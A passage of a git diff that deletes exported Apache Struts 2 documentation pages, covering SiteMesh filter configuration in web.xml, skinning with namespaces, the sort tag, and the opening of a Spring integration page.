-        &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-    &lt;/servlet&gt;
-
-    &lt;servlet-mapping&gt;
-        &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-        &lt;url-pattern&gt;*.ftl&lt;/url-pattern&gt;
-    &lt;/servlet-mapping&gt;
-
-    &lt;servlet&gt;
-        &lt;servlet-name&gt;JspSupportServlet&lt;/servlet-name&gt;
-        &lt;servlet-class&gt;org.apache.struts2.views.JspSupportServlet&lt;/servlet-class&gt;
-        &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-    &lt;/servlet&gt;
-
-    &lt;listener&gt;
-        &lt;listener-class&gt;org.apache.struts2.dispatcher.ng.listener.StrutsListener&lt;/listener-class&gt;
-    &lt;/listener&gt;
-</pre>
-</div></div>
-
-<h2 id="SiteMeshPlugin-Example">Example</h2>
-
-<p>Here is an example of how to configure the filter chains in <code>web.xml</code>:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;filter&gt;
-    &lt;filter-name&gt;struts-prepare&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter&gt;
-    &lt;filter-name&gt;struts-execute&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-
-&lt;filter&gt;
-    &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-    &lt;filter-class&gt;com.opensymphony.sitemesh.webapp.SiteMeshFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;struts-prepare&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;struts-execute&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-
-&lt;listener&gt;
-    &lt;listener-class&gt;org.apache.struts2.dispatcher.ng.listener.StrutsListener&lt;/listener-class&gt;
-&lt;/listener&gt;
-
-&lt;servlet&gt;
-    &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.sitemesh.FreemarkerDecoratorServlet&lt;/servlet-class&gt;
-    &lt;init-param&gt;
-        &lt;param-name&gt;default_encoding&lt;/param-name&gt;
-        &lt;param-value&gt;UTF-8&lt;/param-value&gt;
-    &lt;/init-param&gt;
-    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-&lt;/servlet&gt;
-
-&lt;servlet&gt;
-    &lt;servlet-name&gt;sitemesh-velocity&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.sitemesh.VelocityDecoratorServlet&lt;/servlet-class&gt;
-    &lt;init-param&gt;
-        &lt;param-name&gt;default_encoding&lt;/param-name&gt;
-        &lt;param-value&gt;UTF-8&lt;/param-value&gt;
-    &lt;/init-param&gt;
-    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-&lt;/servlet&gt;
-
-&lt;servlet-mapping&gt;
-    &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-    &lt;url-pattern&gt;*.ftl&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt;
-
-&lt;servlet-mapping&gt;
-    &lt;servlet-name&gt;sitemesh-velocity&lt;/servlet-name&gt;
-    &lt;url-pattern&gt;*.vm&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt;
-</pre>
-</div></div>
-
-<p>Struts 2.1 web.xml filter chain example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;filter&gt;
-    &lt;filter-name&gt;struts-prepare&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter&gt;
-    &lt;filter-name&gt;struts-execute&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter&gt;
-    &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-    &lt;filter-class&gt;com.opensymphony.module.sitemesh.filter.PageFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;struts-prepare&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;struts-execute&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-</pre>
-</div></div>
-
-<p>You do not need the struts2-sitmesh-plugin if you are using JSP for your decorators.<br clear="none">
-Here are the only only changes needed to web.xml</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;filter&gt;
-    &lt;filter-name&gt;struts2-prepare&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter&gt;
-    &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-    &lt;filter-class&gt;com.opensymphony.sitemesh.webapp.SiteMeshFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter&gt;
-    &lt;filter-name&gt;struts2-execute&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;struts2-prepare&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;dispatcher&gt;REQUEST&lt;/dispatcher&gt;
-    &lt;dispatcher&gt;FORWARD&lt;/dispatcher&gt;
-    &lt;dispatcher&gt;INCLUDE&lt;/dispatcher&gt;
-&lt;/filter-mapping&gt;
-
-&lt;filter-mapping&gt;
-    &lt;filter-name&gt;struts2-execute&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-</pre>
-</div></div>
-
-<h2 id="SiteMeshPlugin-Settings">Settings</h2>
-
-<p>This plugin doesn't support any global settings.</p>
-
-<h2 id="SiteMeshPlugin-Installation">Installation</h2>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  No other files need to be copied or created.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/skinning.html b/content/docs/skinning.html
deleted file mode 100644
index 8c435a2..0000000
--- a/content/docs/skinning.html
+++ /dev/null
@@ -1,210 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Skinning</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="skinning.html">Skinning</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Skinning</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13889">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13889">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13889">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13889">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13889">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13889">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Skinning in the framework can be done more than one way.  We will show how to use two skins called "html" and "wml", and we'll be working with the following directory structure:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-/WEB-INF
-   /web.xml
-/html
-   /index.jsp
-   /Register.jsp
-/wml
-   /index.jsp
-   /Register.jsp
-/index.jsp
-</pre>
-</div></div>
-
-<h2 id="Skinning-ClassicApproach">Classic Approach</h2>
-
-<p>Simply place all actions in the default namespace so that they are accessible from any URL path.  When you create your views, place them in the sub-directory that corresponds with the skin's identifier.  </p>
-
-<p>Your action configuration would look like this (simplified, without defined interceptors):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="default"&gt;
-   &lt;action name="registration" class="x.actionset.Register"&gt;
-      &lt;result name="success" type="dispatcher"&gt;
-         &lt;param name="location"&gt;Register.jsp&lt;/param&gt;
-      &lt;/result&gt;
-      &lt;interceptor-ref name="defaultStack"/&gt;
-   &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<p>If a user requested <a shape="rect" class="external-link" href="http://yoursite/html/register.action" rel="nofollow">http://yoursite/html/register.action</a>, he would see the JSP located at /html/Register.jsp.</p>
-<h3 id="Skinning-NamespaceDefined">Namespace Defined</h3>
-<p>If you require the use of namespaces, you can do the following:</p>
-
-<p>Simplified configuration example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="user" extends="default"&gt;
-   &lt;action name="register" class="x.x.actionset.Register"&gt;
-      &lt;result name="success" type="dispatcher"&gt;
-         &lt;param name="location"&gt;Register.jsp&lt;/param&gt;
-      &lt;/result&gt;
-
-      &lt;interceptor-ref name="defaultStack"/&gt;
-  &lt;/action&gt;
-&lt;/package&gt;
-
-&lt;package name="user-html" extends="user" namespace="/user/html" /&gt;
-&lt;package name="user-wml" extends="user" namespace="/user/wml" /&gt;
-</pre>
-</div></div>
-
-<p>The last two package definitions extend the first package, changing only the namespace.  The view result defined in the "register" action has a relative path.  Because of this, you'll get the same behavior as the Classic Approach, but with the security of knowing that ONLY those two paths can be accessed for the action, instead of ANY path.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/sort.html b/content/docs/sort.html
deleted file mode 100644
index 1e48906..0000000
--- a/content/docs/sort.html
+++ /dev/null
@@ -1,193 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>sort</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="sort.html">sort</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">sort</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14132">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14132">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14132">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14132">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14132">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14132">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="sort-Description">Description</h2>
-
-
-<p><b>NOTE: JSP-TAG</b></p>
-
-<p></p><p>A Tag that sorts a List using a Comparator both passed in as the tag attribute.
-If 'var' attribute is specified, the sorted list will be placed into the PageContext
-attribute using the key specified by 'var'. The sorted list will ALWAYS be
-pushed into the stack and poped at the end of this tag.</p>
-
-
-<h2 id="sort-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="sort-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-USAGE 1:
-&lt;s:sort comparator=&quot;myComparator&quot; source=&quot;myList&quot;&gt;
-     &lt;s:iterator&gt;
-     &lt;!-- do something with each sorted elements --&gt;
-     &lt;s:property value=&quot;...&quot; /&gt;
-     &lt;/s:iterator&gt;
-&lt;/s:sort&gt;
-
-USAGE 2:
-&lt;s:sort var=&quot;mySortedList&quot; comparator=&quot;myComparator&quot; source=&quot;myList&quot; /&gt;
-
-&lt;%
-   Iterator sortedIterator = (Iterator) pageContext.getAttribute(&quot;mySortedList&quot;);
-   for (Iterator i = sortedIterator; i.hasNext(); ) {
-     // do something with each of the sorted elements
-   }
-%&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/spring-and-struts-2.html b/content/docs/spring-and-struts-2.html
deleted file mode 100644
index 124dab3..0000000
--- a/content/docs/spring-and-struts-2.html
+++ /dev/null
@@ -1,213 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Spring and Struts 2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="spring-and-struts-2.html">Spring and Struts 2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Spring and Struts 2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23339629">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23339629">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
